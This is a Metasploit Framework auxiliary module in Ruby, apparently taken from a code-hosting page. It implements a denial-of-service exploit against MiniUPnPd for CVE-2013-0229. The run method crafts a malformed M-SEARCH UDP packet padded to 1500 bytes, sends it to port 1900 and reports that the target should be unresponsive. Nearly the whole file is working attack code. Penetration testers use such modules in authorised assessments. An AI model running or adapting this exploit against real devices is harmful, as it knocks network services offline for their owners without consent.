metasploit-framework/modules/auxiliary/dos/upnp/miniupnpd_dos.rb

62 lines
1.7 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
'Description' =>
%q{
This module allows remote attackers to cause a denial of service in MiniUPnP 1.0
server via specifically crafted UDP request.
},
'Author' => [ 'Dejan Lukan' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-0229' ],
[ 'OSVDB', '89625' ],
],
'DisclosureDate' => 'Mar 27 2013',
))
register_options(
[
Opt::RPORT(1900),
], self.class)
end
def run
# connect to the UDP port
connect_udp
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
# ST line
sploit = "M-SEARCH * HTTP/1.1\r\n"\
"HOST: 239.255.255.250:1900\r\n"\
"ST:uuid:schemas:device:MX:3"
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
# characters: there's more chance that the the program will run off the stack.
sploit += ' '*(1500-sploit.length)
# send the exploit to the target
print_status("Sending malformed packet to #{rhost}...")
udp_sock.put(sploit)
# disconnect from the server
print_status("The target should be unresponsive now...")
disconnect_udp
end
end